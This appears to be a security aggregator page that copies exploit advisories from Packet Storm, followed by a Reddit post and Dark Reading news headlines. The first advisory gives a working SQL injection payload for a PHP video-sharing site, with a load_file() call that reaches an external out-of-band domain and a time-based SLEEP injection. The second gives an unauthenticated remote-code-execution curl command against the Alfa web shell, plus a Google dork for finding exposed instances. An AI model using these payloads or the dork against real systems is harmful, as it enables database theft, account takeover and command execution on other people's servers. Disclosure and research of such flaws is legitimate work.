Exploit Collector
Video Sharing Website 1.0 SQL Injection

https://2.bp.blogspot.com/-TEKdvnpzXEU/WWlu-1G01LI/AAAAAAAAIJ8/FsoklfFFqiwHwKy6Rf6U36sgF7K28-hPgCLcBGAs/s1600/h118.png
Video Sharing Website version 1.0 appears to suffer from a remote SQL injection vulnerability.

MD5 | 65e77333e6364fe5c870b357cfd4ecfd

Download
## Title: Video Sharing Website 1.0 SQL - Injection
## Author: nu11secur1ty
## Date: 12.18.2021
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/14584/video-sharing-website-using-phpmysqli-source-code.html

## Description:
The `email` parameter from `ajax.php` app of Video Sharing Website 1.0
appears to be vulnerable to SQL injection attacks. The payload
'+(select load_file('\\\\dhy5y62urpxije56fiteqimmjdp6dy6mxplh87ww.nu11secur1ty.net\\pkq'))+'
was submitted in the email parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed. The attacker can take administrator
account controll on this system.
Status: CRITICAL

[+] Payload:

```mysql
---
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=jsmith@sample.com'+(select
load_file('\\\\dhy5y62urpxije56fiteqimmjdp6dy6mxplh87ww.nu11secur1ty.net\\pkq'))+''
AND (SELECT 8549 FROM (SELECT(SLEEP(5)))PJEk) AND
'yreq'='yreq&password=jsmith123
---
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/Video-Sharing-Website)

## Proof and Exploit:
[href](https://streamable.com/4x2rfk)


Source:packetstormsecurity.com

Exploit Collector
Alfa Team Shell Tesla 4.1 Remote Code Execution

https://2.bp.blogspot.com/-GUn1a49o67Q/WWlu9F-J_rI/AAAAAAAAIJo/HAAKEGfKUXIq4oSJFA9qEBzdRn_AvSgtACLcBGAs/s1600/h113.png
Alfa Team Shell Tesla version 4.1 suffers from a remote code execution vulnerability.

MD5 | 4e1d936cbae22ea2647ee9d7e6127458

Download
# Exploit Title: ALFA TEAM SHELL TESLA 4.1 - 'cmd' Remote Code Execution (Unauthenticated)
# Google Dork: inurl:/alfacgiapi intext:alfa
# Date: 2021-12-19
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: http://solevisible.com
# Software Link: https://phpshells.com/alfa-tesla-v4-1-shell
# Version: v4.1
# Tested on: Windows 10 Enterprise x64 , Linux

# [ About - ALFA TEAM SHELL TESLA ] :

#It is one of the most popular web shells used by hackers,They use it to access the server side.

# [ Vulnerable Files ] :

# 1 . perl.alfa
# 2 . bash.alfa
# 3 . py.alfa

# [ Description ]:

#Execute commands without authentication or logging in to the web shell,
#To use, find only one of the vulnerable files,
#Convert your commands to base64 And Submit your request using the CMD parameter and the POST method.

# [ POC ] :

curl -d "cmd=bHMgLWxh" -X POST http://localhost/alfacgiapi/perl.alfa

Source:packetstormsecurity.com

Physical Pen test
https://www.reddit.com/r/Pentesting/comments/rks968/physical_pen_test/

<!-- SC_OFF -->Does anyone here, do physical Penatration test over a company? <!-- SC_ON --> submitted by /u/TsukitoHoshiDream (https://www.reddit.com/user/TsukitoHoshiDream)
[link] (https://www.reddit.com/r/Pentesting/comments/rks968/physical_pen_test/) [comments] (https://www.reddit.com/r/Pentesting/comments/rks968/physical_pen_test/)

Dark Reading: Attacks/Breaches
Zero Trust Shouldn’t Mean Zero Trust in Employees

Some think zero trust means you cannot or should not trust employees, an approach that misses the mark and sets up everyone for failure.

Dark Reading: Attacks/Breaches
Lights Out: Cyberattacks Shut Down Building Automation Systems

Security experts in Germany discover similar attacks that lock building engineering management firms out of the BASes they built and manage — by turning a security feature against them.

Dark Reading: Attacks/Breaches
Four Out of Five Organizations Are Increasing Cybersecurity Budgets for 2022

Half of security decision makers also say the cyber skills gap will significantly impact their 2022 strategy, according to new research from Neustar.

Dark Reading: Attacks/Breaches
Reblaze Appoints New CEO

Ziv Oren previously held the position of chief operations officer at the company.

Dark Reading: Attacks/Breaches
Trend Micro Crowns Champions of 2021 Capture the Flag Competition

Challenges were designed to address critical areas of cybersecurity, including reversing, cloud, IoT, open source intelligence, forensics, and machine learning.

Dark Reading: Attacks/Breaches
SecurityScorecard Research Reveals Cyber Vulnerabilities Pose a Threat to U.S. Maritime Security

While the shipping industry's cyber posture was better than companies in the Forbes Global 2000, the industry performed lower in key risk group factors.

Dark Reading: Attacks/Breaches
BlackBerry Launches New Managed Extended Detection and Response (XDR) Service

Company partners with Exabeam to launch update to its BlackBerry Guard managed detection and response (MDR) service.

Dark Reading: Attacks/Breaches
SAIC Launches Rugged Apps to Provide Secure Commercial Apps to Government Users

Rugged Apps ensures mobile apps are NIAP-compliant.

Stored XSS by bypassing signature
https://medium.com/@AMakki1337/stored-xss-by-bypassing-signature-61ebd83ece6?source=rss------bug_bounty-5